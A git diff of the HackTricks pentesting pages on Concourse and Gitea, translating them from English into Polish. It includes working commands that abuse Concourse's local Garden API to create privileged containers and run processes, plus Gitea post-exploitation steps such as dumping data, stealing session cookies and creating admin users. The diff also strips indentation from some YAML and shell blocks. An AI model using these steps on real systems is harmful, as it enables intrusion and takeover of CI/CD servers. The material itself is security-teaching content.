> [!WARNING]
-> This are just some interesting notes about the service, but because it's only listening on localhost, this notes won't present any impact we haven't already exploited before
+> To tylko kilka interesujących uwag na temat usługi, ale ponieważ nasłuchuje ona tylko na localhost, te uwagi nie będą miały żadnego wpływu, którego wcześniej nie wykorzystaliśmy.
-By default each concourse worker will be running a [**Garden**](https://github.com/cloudfoundry/garden) service in port 7777. This service is used by the Web master to indicate the worker **what he needs to execute** (download the image and run each task). This sound pretty good for an attacker, but there are some nice protections:
+Domyślnie każdy pracownik concourse będzie uruchamiał usługę [**Garden**](https://github.com/cloudfoundry/garden) na porcie 7777. Usługa ta jest używana przez mistrza sieci do wskazania pracownikowi **czego potrzebuje do wykonania** (pobranie obrazu i uruchomienie każdego zadania). To brzmi całkiem dobrze dla atakującego, ale istnieje kilka dobrych zabezpieczeń:
-- It's just **exposed locally** (127..0.0.1) and I think when the worker authenticates agains the Web with the special SSH service, a tunnel is created so the web server can **talk to each Garden service** inside each worker.
-- The web server is **monitoring the running containers every few seconds**, and **unexpected** containers are **deleted**. So if you want to **run a custom container** you need to **tamper** with the **communication** between the web server and the garden service.
-
-Concourse workers run with high container privileges:
+- Jest **ekspozycja lokalna** (127..0.0.1) i myślę, że gdy pracownik uwierzytelni się w sieci za pomocą specjalnej usługi SSH, tworzony jest tunel, aby serwer webowy mógł **rozmawiać z każdą usługą Garden** wewnątrz każdego pracownika.
+- Serwer webowy **monitoruje działające kontenery co kilka sekund**, a **nieoczekiwane** kontenery są **usuwane**. Więc jeśli chcesz **uruchomić niestandardowy kontener**, musisz **manipulować** **komunikacją** między serwerem webowym a usługą garden.
+Pracownicy concourse działają z wysokimi uprawnieniami kontenera:
```
Container Runtime: docker
Has Namespaces:
- pid: true
- user: false
+pid: true
+user: false
AppArmor Profile: kernel
Capabilities:
- BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
+BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled
```
-
-However, techniques like **mounting** the /dev device of the node or release_agent **won't work** (as the real device with the filesystem of the node isn't accesible, only a virtual one). We cannot access processes of the node, so escaping from the node without kernel exploits get complicated.
+Jednak techniki takie jak **montowanie** urządzenia /dev w węźle lub release_agent **nie zadziałają** (ponieważ prawdziwe urządzenie z systemem plików węzła nie jest dostępne, tylko wirtualne). Nie możemy uzyskać dostępu do procesów węzła, więc ucieczka z węzła bez exploitów jądra staje się skomplikowana.
> [!NOTE]
-> In the previous section we saw how to escape from a privileged container, so if we can **execute** commands in a **privileged container** created by the **current** **worker**, we could **escape to the node**.
+> W poprzedniej sekcji zobaczyliśmy, jak uciec z uprzywilejowanego kontenera, więc jeśli możemy **wykonywać** polecenia w **uprzywilejowanym kontenerze** utworzonym przez **aktualnego** **pracownika**, moglibyśmy **uciec do węzła**.
-Note that playing with concourse I noted that when a new container is spawned to run something, the container processes are accessible from the worker container, so it's like a container creating a new container inside of it.
-
-**Getting inside a running privileged container**
+Zauważ, że bawiąc się z concourse, zauważyłem, że gdy nowy kontener jest uruchamiany, aby coś wykonać, procesy kontenera są dostępne z kontenera pracownika, więc to tak, jakby kontener tworzył nowy kontener wewnątrz siebie.
+**Dostanie się do działającego uprzywilejowanego kontenera**
```bash
# Get current container
curl 127.0.0.1:7777/containers
@@ -389,30 +368,26 @@ curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties
# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
- --header='Content-Type:application/json' \
- 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
+--header='Content-Type:application/json' \
+'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh
```
+**Tworzenie nowego uprzywilejowanego kontenera**
-**Creating a new privileged container**
-
-You can very easily create a new container (just run a random UID) and execute something on it:
-
+Możesz bardzo łatwo stworzyć nowy kontener (po prostu uruchom losowy UID) i wykonać na nim coś:
```bash
curl -X POST http://127.0.0.1:7777/containers \
- -H 'Content-Type: application/json' \
- -d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
+-H 'Content-Type: application/json' \
+-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'
# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
- --header='Content-Type:application/json' \
- 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
+--header='Content-Type:application/json' \
+'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
```
-
-However, the web server is checking every few seconds the containers that are running, and if an unexpected one is discovered, it will be deleted. As the communication is occurring in HTTP, you could tamper the communication to avoid the deletion of unexpected containers:
-
+Jednak serwer WWW sprawdza co kilka sekund działające kontenery, a jeśli zostanie odkryty niespodziewany, zostanie on usunięty. Ponieważ komunikacja odbywa się w HTTP, możesz manipulować komunikacją, aby uniknąć usunięcia niespodziewanych kontenerów:
```
GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
@@ -434,13 +409,8 @@ Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
```
-
-## References
+## Odniesienia
- https://concourse-ci.org/vars.html
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
index 0cc6363a7..32b97ffbc 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
@@ -2,25 +2,22 @@
{{#include ../../banners/hacktricks-training.md}}
-## Testing Environment
+## Środowisko testowe
-### Running Concourse
+### Uruchamianie Concourse
-#### With Docker-Compose
-
-This docker-compose file simplifies the installation to do some tests with concourse:
+#### Z Docker-Compose
+Ten plik docker-compose upraszcza instalację, aby przeprowadzić kilka testów z concourse:
```bash
wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml
docker-compose up -d
```
+Możesz pobrać linię poleceń `fly` dla swojego systemu operacyjnego z sieci pod adresem `127.0.0.1:8080`
-You can download the command line `fly` for your OS from the web in `127.0.0.1:8080`
-
-#### With Kubernetes (Recommended)
-
-You can easily deploy concourse in **Kubernetes** (in **minikube** for example) using the helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart).
+#### Z Kubernetes (Zalecane)
+Możesz łatwo wdrożyć concourse w **Kubernetes** (na przykład w **minikube**) używając helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart).
```bash
brew install helm
helm repo add concourse https://concourse-charts.storage.googleapis.com/
@@ -31,94 +28,90 @@ helm install concourse-release concourse/concourse
# If you need to delete it
helm delete concourse-release
```
-
-After generating the concourse env, you could generate a secret and give a access to the SA running in concourse web to access K8s secrets:
-
+Po wygenerowaniu środowiska concourse, możesz wygenerować sekret i przyznać dostęp do SA działającego w concourse web, aby uzyskać dostęp do sekretów K8s:
```yaml
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
- name: read-secrets
+name: read-secrets
rules:
- apiGroups: [""]
- resources: ["secrets"]
- verbs: ["get"]
+resources: ["secrets"]
+verbs: ["get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
- name: read-secrets-concourse
+name: read-secrets-concourse
roleRef:
- apiGroup: rbac.authorization.k8s.io
- kind: ClusterRole
- name: read-secrets
+apiGroup: rbac.authorization.k8s.io
+kind: ClusterRole
+name: read-secrets
subjects:
- kind: ServiceAccount
- name: concourse-release-web
- namespace: default
+name: concourse-release-web
+namespace: default
---
apiVersion: v1
kind: Secret
metadata:
- name: super
- namespace: concourse-release-main
+name: super
+namespace: concourse-release-main
type: Opaque
data:
- secret: MWYyZDFlMmU2N2Rm
+secret: MWYyZDFlMmU2N2Rm
' | kubectl apply -f -
```
+### Utwórz Pipeline
-### Create Pipeline
+Pipeline składa się z listy [Jobs](https://concourse-ci.org/jobs.html), która zawiera uporządkowaną listę [Steps](https://concourse-ci.org/steps.html).
-A pipeline is made of a list of [Jobs](https://concourse-ci.org/jobs.html) which contains an ordered list of [Steps](https://concourse-ci.org/steps.html).
+### Kroki
-### Steps
+Można użyć kilku różnych typów kroków:
-Several different type of steps can be used:
+- **krok** [**`task`**](https://concourse-ci.org/task-step.html) **uruchamia** [**zadanie**](https://concourse-ci.org/tasks.html)
+- krok [`get`](https://concourse-ci.org/get-step.html) pobiera [zasób](https://concourse-ci.org/resources.html)
+- krok [`put`](https://concourse-ci.org/put-step.html) aktualizuje [zasób](https://concourse-ci.org/resources.html)
+- krok [`set_pipeline`](https://concourse-ci.org/set-pipeline-step.html) konfiguruje [pipeline](https://concourse-ci.org/pipelines.html)
+- krok [`load_var`](https://concourse-ci.org/load-var-step.html) ładuje wartość do [zmiennej lokalnej](https://concourse-ci.org/vars.html#local-vars)
+- krok [`in_parallel`](https://concourse-ci.org/in-parallel-step.html) uruchamia kroki równolegle
+- krok [`do`](https://concourse-ci.org/do-step.html) uruchamia kroki w sekwencji
+- modyfikator kroku [`across`](https://concourse-ci.org/across-step.html#schema.across) uruchamia krok wielokrotnie; raz dla każdej kombinacji wartości zmiennych
+- krok [`try`](https://concourse-ci.org/try-step.html) próbuje uruchomić krok i odnosi sukces, nawet jeśli krok się nie powiedzie
-- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **runs a** [**task**](https://concourse-ci.org/tasks.html)
-- the [`get` step](https://concourse-ci.org/get-step.html) fetches a [resource](https://concourse-ci.org/resources.html)
-- the [`put` step](https://concourse-ci.org/put-step.html) updates a [resource](https://concourse-ci.org/resources.html)
-- the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configures a [pipeline](https://concourse-ci.org/pipelines.html)
-- the [`load_var` step](https://concourse-ci.org/load-var-step.html) loads a value into a [local var](https://concourse-ci.org/vars.html#local-vars)
-- the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) runs steps in parallel
-- the [`do` step](https://concourse-ci.org/do-step.html) runs steps in sequence
-- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) runs a step multiple times; once for each combination of variable values
-- the [`try` step](https://concourse-ci.org/try-step.html) attempts to run a step and succeeds even if the step fails
+Każdy [krok](https://concourse-ci.org/steps.html) w [planie zadania](https://concourse-ci.org/jobs.html#schema.job.plan) działa w **swoim własnym kontenerze**. Możesz uruchomić cokolwiek chcesz wewnątrz kontenera _(tzn. uruchomić moje testy, uruchomić ten skrypt bash, zbudować ten obraz, itd.)_. Więc jeśli masz zadanie z pięcioma krokami, Concourse utworzy pięć kontenerów, po jednym dla każdego kroku.
-Each [step](https://concourse-ci.org/steps.html) in a [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) runs in its **own container**. You can run anything you want inside the container _(i.e. run my tests, run this bash script, build this image, etc.)_. So if you have a job with five steps Concourse will create five containers, one for each step.
-
-Therefore, it's possible to indicate the type of container each step needs to be run in.
-
-### Simple Pipeline Example
+Dlatego możliwe jest wskazanie, jaki typ kontenera potrzebny jest do uruchomienia każdego kroku.
+### Przykład prostego pipeline'a
```yaml
jobs:
- - name: simple
- plan:
- - task: simple-task
- privileged: true
- config:
- # Tells Concourse which type of worker this task should run on
- platform: linux
- image_resource:
- type: registry-image
- source:
- repository: busybox # images are pulled from docker hub by default
- run:
- path: sh
- args:
- - -cx
- - |
- sleep 1000
- echo "$SUPER_SECRET"
- params:
- SUPER_SECRET: ((super.secret))
+- name: simple
+plan:
+- task: simple-task
+privileged: true
+config:
+# Tells Concourse which type of worker this task should run on
+platform: linux
+image_resource:
+type: registry-image
+source:
+repository: busybox # images are pulled from docker hub by default
+run:
+path: sh
+args:
+- -cx
+- |
+sleep 1000
+echo "$SUPER_SECRET"
+params:
+SUPER_SECRET: ((super.secret))
```
```bash
@@ -130,26 +123,21 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch
# From another console
fly -t tutorial intercept --job pipe-name/simple
```
+Sprawdź **127.0.0.1:8080**, aby zobaczyć przepływ pipeline'u.
-Check **127.0.0.1:8080** to see the pipeline flow.
+### Skrypt Bash z potokiem wyjścia/wejścia
-### Bash script with output/input pipeline
+Możliwe jest **zapisanie wyników jednego zadania w pliku** i wskazanie, że jest to wyjście, a następnie wskazanie wejścia następnego zadania jako wyjścia poprzedniego zadania. To, co robi concourse, to **zamontowanie katalogu poprzedniego zadania w nowym zadaniu, gdzie możesz uzyskać dostęp do plików utworzonych przez poprzednie zadanie**.
-It's possible to **save the results of one task in a file** and indicate that it's an output and then indicate the input of the next task as the output of the previous task. What concourse does is to **mount the directory of the previous task in the new task where you can access the files created by the previous task**.
+### Wyzwalacze
-### Triggers
+Nie musisz ręcznie wyzwalać zadań za każdym razem, gdy musisz je uruchomić, możesz również zaprogramować je do uruchamiania za każdym razem:
-You don't need to trigger the jobs manually every-time you need to run them, you can also program them to be run every-time:
+- Mija trochę czasu: [Time resource](https://github.com/concourse/time-resource/)
+- Przy nowych commitach do głównej gałęzi: [Git resource](https://github.com/concourse/git-resource)
+- Nowe PR: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
+- Pobierz lub wypchnij najnowszy obraz swojej aplikacji: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
-- Some time passes: [Time resource](https://github.com/concourse/time-resource/)
-- On new commits to the main branch: [Git resource](https://github.com/concourse/git-resource)
-- New PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
-- Fetch or push the latest image of your app: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
-
-Check a YAML pipeline example that triggers on new commits to master in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
+Sprawdź przykład pipeline'u YAML, który wyzwala się przy nowych commitach do master w [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/gitea-security/README.md b/src/pentesting-ci-cd/gitea-security/README.md
index bf4f6485a..74e9d9a33 100644
--- a/src/pentesting-ci-cd/gitea-security/README.md
+++ b/src/pentesting-ci-cd/gitea-security/README.md
@@ -2,141 +2,129 @@
{{#include ../../banners/hacktricks-training.md}}
-## What is Gitea
+## Czym jest Gitea
-**Gitea** is a **self-hosted community managed lightweight code hosting** solution written in Go.
+**Gitea** to **rozwiązanie do hostowania kodu zarządzane przez społeczność, samodzielnie hostowane, lekkie**, napisane w Go.
.png>)
-### Basic Information
+### Podstawowe informacje
{{#ref}}
basic-gitea-information.md
{{#endref}}
-## Lab
-
-To run a Gitea instance locally you can just run a docker container:
+## Laboratorium
+Aby uruchomić instancję Gitea lokalnie, wystarczy uruchomić kontener docker:
```bash
docker run -p 3000:3000 gitea/gitea
```
+Połącz się z portem 3000, aby uzyskać dostęp do strony internetowej.
-Connect to port 3000 to access the web page.
-
-You could also run it with kubernetes:
-
+Możesz również uruchomić to z kubernetes:
```
helm repo add gitea-charts https://dl.gitea.io/charts/
helm install gitea gitea-charts/gitea
```
+## Nieużytkownikowa Enumeracja
-## Unauthenticated Enumeration
+- Publiczne repozytoria: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
+- Zarejestrowani użytkownicy: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
+- Zarejestrowane organizacje: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
-- Public repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
-- Registered users: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
-- Registered Organizations: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
+Zauważ, że **domyślnie Gitea pozwala nowym użytkownikom na rejestrację**. To nie da szczególnie interesującego dostępu nowym użytkownikom do repozytoriów innych organizacji/użytkowników, ale **zalogowany użytkownik** może być w stanie **zobaczyć więcej repozytoriów lub organizacji**.
-Note that by **default Gitea allows new users to register**. This won't give specially interesting access to the new users over other organizations/users repos, but a **logged in user** might be able to **visualize more repos or organizations**.
+## Wewnętrzna Eksploatacja
-## Internal Exploitation
+W tym scenariuszu zakładamy, że uzyskałeś dostęp do konta github.
-For this scenario we are going to suppose that you have obtained some access to a github account.
+### Z Danymi Użytkownika/Ciastkiem Webowym
-### With User Credentials/Web Cookie
+Jeśli w jakiś sposób już masz dane logowania dla użytkownika w organizacji (lub ukradłeś ciastko sesji), możesz **po prostu się zalogować** i sprawdzić, jakie **uprawnienia masz** do jakich **repozytoriów**, w **jakich zespołach** jesteś, **wypisać innych użytkowników** oraz **jak są chronione repozytoria.**
-If you somehow already have credentials for a user inside an organization (or you stole a session cookie) you can **just login** and check which which **permissions you have** over which **repos,** in **which teams** you are, **list other users**, and **how are the repos protected.**
-
-Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
+Zauważ, że **może być używane 2FA**, więc będziesz mógł uzyskać dostęp do tych informacji tylko wtedy, gdy również **przejdziesz tę kontrolę**.
> [!NOTE]
-> Note that if you **manage to steal the `i_like_gitea` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
+> Zauważ, że jeśli **uda ci się ukraść ciastko `i_like_gitea`** (aktualnie skonfigurowane z SameSite: Lax), możesz **całkowicie podszyć się pod użytkownika** bez potrzeby posiadania danych logowania lub 2FA.
-### With User SSH Key
+### Z Klucza SSH Użytkownika
-Gitea allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
-
-With this key you can perform **changes in repositories where the user has some privileges**, however you can not use it to access gitea api to enumerate the environment. However, you can **enumerate local settings** to get information about the repos and user you have access to:
+Gitea pozwala **użytkownikom** ustawiać **klucze SSH**, które będą używane jako **metoda uwierzytelniania do wdrażania kodu** w ich imieniu (2FA nie jest stosowane).
+Z tym kluczem możesz wprowadzać **zmiany w repozytoriach, w których użytkownik ma pewne uprawnienia**, jednak nie możesz go użyć do uzyskania dostępu do API gitea w celu enumeracji środowiska. Możesz jednak **enumerować lokalne ustawienia**, aby uzyskać informacje o repozytoriach i użytkowniku, do którego masz dostęp:
```bash
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
```
+Jeśli użytkownik skonfigurował swoją nazwę użytkownika jako swoją nazwę użytkownika gitea, możesz uzyskać dostęp do **kluczy publicznych, które ustawił** w swoim koncie pod adresem _https://github.com/\.keys_, możesz to sprawdzić, aby potwierdzić, że znaleziony klucz prywatny może być użyty.
-If the user has configured its username as his gitea username you can access the **public keys he has set** in his account in _https://github.com/\.keys_, you could check this to confirm the private key you found can be used.
+**Klucze SSH** mogą być również ustawione w repozytoriach jako **klucze wdrożeniowe**. Każdy, kto ma dostęp do tego klucza, będzie mógł **uruchomić projekty z repozytorium**. Zwykle na serwerze z różnymi kluczami wdrożeniowymi lokalny plik **`~/.ssh/config`** dostarczy informacji o tym, do którego klucza się odnosi.
-**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
+#### Klucze GPG
-#### GPG Keys
-
-As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
-
-Check locally if the current user has any key with:
+Jak wyjaśniono [**tutaj**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md), czasami konieczne jest podpisanie commitów, inaczej możesz zostać odkryty.
+Sprawdź lokalnie, czy bieżący użytkownik ma jakikolwiek klucz za pomocą:
```shell
gpg --list-secret-keys --keyid-format=long
```
+### Z tokenem użytkownika
-### With User Token
+Aby uzyskać wprowadzenie na temat [**Tokenów Użytkownika sprawdź podstawowe informacje**](basic-gitea-information.md#personal-access-tokens).
-For an introduction about [**User Tokens check the basic information**](basic-gitea-information.md#personal-access-tokens).
+Token użytkownika może być używany **zamiast hasła** do **uwierzytelnienia** w serwerze Gitea [**za pomocą API**](https://try.gitea.io/api/swagger#/). Będzie miał **pełny dostęp** do konta użytkownika.
-A user token can be used **instead of a password** to **authenticate** against Gitea server [**via API**](https://try.gitea.io/api/swagger#/). it will has **complete access** over the user.
+### Z aplikacją Oauth
-### With Oauth Application
+Aby uzyskać wprowadzenie na temat [**Aplikacji Oauth Gitea sprawdź podstawowe informacje**](./#with-oauth-application).
-For an introduction about [**Gitea Oauth Applications check the basic information**](./#with-oauth-application).
+Atakujący może stworzyć **złośliwą aplikację Oauth**, aby uzyskać dostęp do uprzywilejowanych danych/akcji użytkowników, którzy prawdopodobnie zaakceptują je jako część kampanii phishingowej.
-An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
+Jak wyjaśniono w podstawowych informacjach, aplikacja będzie miała **pełny dostęp do konta użytkownika**.
-As explained in the basic information, the application will have **full access over the user account**.
+### Ominięcie ochrony gałęzi
-### Branch Protection Bypass
+W Github mamy **github actions**, które domyślnie uzyskują **token z dostępem do zapisu** w repozytorium, który może być użyty do **ominięcia ochrony gałęzi**. W tym przypadku **to nie istnieje**, więc obejścia są bardziej ograniczone. Ale przyjrzyjmy się, co można zrobić:
-In Github we have **github actions** which by default get a **token with write access** over the repo that can be used to **bypass branch protections**. In this case that **doesn't exist**, so the bypasses are more limited. But lets take a look to what can be done:
+- **Włącz Push**: Jeśli ktokolwiek z dostępem do zapisu może wypchnąć do gałęzi, po prostu wypchnij do niej.
+- **Biała lista ograniczonych Push**: W ten sam sposób, jeśli jesteś częścią tej listy, wypchnij do gałęzi.
+- **Włącz białą listę scalania**: Jeśli istnieje biała lista scalania, musisz być w jej obrębie.
+- **Wymagaj, aby zatwierdzenia były większe niż 0**: Wtedy... musisz skompromitować innego użytkownika.
+- **Ogranicz zatwierdzenia do białej listy**: Jeśli tylko użytkownicy z białej listy mogą zatwierdzać... musisz skompromitować innego użytkownika, który jest na tej liście.
+- **Odrzuć przestarzałe zatwierdzenia**: Jeśli zatwierdzenia nie są usuwane z nowymi commitami, możesz przejąć już zatwierdzone PR, aby wstrzyknąć swój kod i scalić PR.
-- **Enable Push**: If anyone with write access can push to the branch, just push to it.
-- **Whitelist Restricted Pus**h: The same way, if you are part of this list push to the branch.
-- **Enable Merge Whitelist**: If there is a merge whitelist, you need to be inside of it
-- **Require approvals is bigger than 0**: Then... you need to compromise another user
-- **Restrict approvals to whitelisted**: If only whitelisted users can approve... you need to compromise another user that is inside that list
-- **Dismiss stale approvals**: If approvals are not removed with new commits, you could hijack an already approved PR to inject your code and merge the PR.
+Zauważ, że **jeśli jesteś administratorem org/repo**, możesz obejść te zabezpieczenia.
-Note that **if you are an org/repo admin** you can bypass the protections.
+### Wyliczanie Webhooków
-### Enumerate Webhooks
+**Webhooki** są w stanie **wysyłać konkretne informacje gitea do niektórych miejsc**. Możesz być w stanie **wykorzystać tę komunikację**.\
+Jednak zazwyczaj w **webhooku** ustawiony jest **sekret**, którego **nie możesz odzyskać**, co **zapobiega** zewnętrznym użytkownikom, którzy znają URL webhooka, ale nie znają sekretu, aby **wykorzystać ten webhook**.\
+Jednak w niektórych przypadkach ludzie zamiast ustawić **sekret** w jego miejscu, **ustawiają go w URL** jako parametr, więc **sprawdzanie URL** może pozwolić ci **znaleźć sekrety** i inne miejsca, które możesz dalej wykorzystać.
-**Webhooks** are able to **send specific gitea information to some places**. You might be able to **exploit that communication**.\
-However, usually a **secret** you can **not retrieve** is set in the **webhook** that will **prevent** external users that know the URL of the webhook but not the secret to **exploit that webhook**.\
-But in some occasions, people instead of setting the **secret** in its place, they **set it in the URL** as a parameter, so **checking the URLs** could allow you to **find secrets** and other places you could exploit further.
+Webhooki mogą być ustawione na **poziomie repozytorium i organizacji**.
-Webhooks can be set at **repo and at org level**.
+## Po eksploatacji
-## Post Exploitation
+### Wewnątrz serwera
-### Inside the server
+Jeśli w jakiś sposób udało ci się dostać do serwera, na którym działa gitea, powinieneś poszukać pliku konfiguracyjnego gitea. Domyślnie znajduje się on w `/data/gitea/conf/app.ini`
-If somehow you managed to get inside the server where gitea is running you should search for the gitea configuration file. By default it's located in `/data/gitea/conf/app.ini`
+W tym pliku możesz znaleźć **klucze** i **hasła**.
-In this file you can find **keys** and **passwords**.
+W ścieżce gitea (domyślnie: /data/gitea) możesz również znaleźć interesujące informacje, takie jak:
-In the gitea path (by default: /data/gitea) you can find also interesting information like:
+- **baza danych sqlite**: Jeśli gitea nie używa zewnętrznej bazy danych, użyje bazy danych sqlite.
+- **sesje** w folderze sesji: Uruchamiając `cat sessions/*/*/*`, możesz zobaczyć nazwy użytkowników zalogowanych użytkowników (gitea może również zapisywać sesje w bazie danych).
+- **klucz prywatny jwt** w folderze jwt.
+- Więcej **wrażliwych informacji** można znaleźć w tym folderze.
-- The **sqlite** DB: If gitea is not using an external db it will use a sqlite db
-- The **sessions** inside the sessions folder: Running `cat sessions/*/*/*` you can see the usernames of the logged users (gitea could also save the sessions inside the DB).
-- The **jwt private key** inside the jwt folder
-- More **sensitive information** could be found in this folder
+Jeśli jesteś wewnątrz serwera, możesz również **użyć binarnego pliku `gitea`** do uzyskania/dostosowania informacji:
-If you are inside the server you can also **use the `gitea` binary** to access/modify information:
-
-- `gitea dump` will dump gitea and generate a .zip file
-- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` will generate a token of the indicated type (persistence)
-- `gitea admin user change-password --username admin --password newpassword` Change the password
-- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Create new admin user and get an access token
+- `gitea dump` zrzuci gitea i wygeneruje plik .zip.
+- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` wygeneruje token wskazanego typu (trwałość).
+- `gitea admin user change-password --username admin --password newpassword` Zmień hasło.
+- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Utwórz nowego użytkownika administratora i uzyskaj token dostępu.
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
index e6e4d9ba3..eaff61f2b 100644
--- a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
+++ b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
@@ -1,107 +1,103 @@
-# Basic Gitea Information
+# Podstawowe informacje o Gitea
{{#include ../../banners/hacktricks-training.md}}
-## Basic Structure
+## Podstawowa struktura
-The basic Gitea environment structure is to group repos by **organization(s),** each of them may contain **several repositories** and **several teams.** However, note that just like in github users can have repos outside of the organization.
+Podstawowa struktura środowiska Gitea polega na grupowaniu repozytoriów według **organizacji**, z których każda może zawierać **kilka repozytoriów** i **kilka zespołów**. Należy jednak zauważyć, że podobnie jak w githubie, użytkownicy mogą mieć repozytoria poza organizacją.
-Moreover, a **user** can be a **member** of **different organizations**. Within the organization the user may have **different permissions over each repository**.
+Ponadto, **użytkownik** może być **członkiem** **różnych organizacji**. W ramach organizacji użytkownik może mieć **różne uprawnienia do każdego repozytorium**.
-A user may also be **part of different teams** with different permissions over different repos.
+Użytkownik może być również **częścią różnych zespołów** z różnymi uprawnieniami do różnych repozytoriów.
-And finally **repositories may have special protection mechanisms**.
+I w końcu **repozytoria mogą mieć specjalne mechanizmy ochrony**.
-## Permissions
+## Uprawnienia
-### Organizations
+### Organizacje
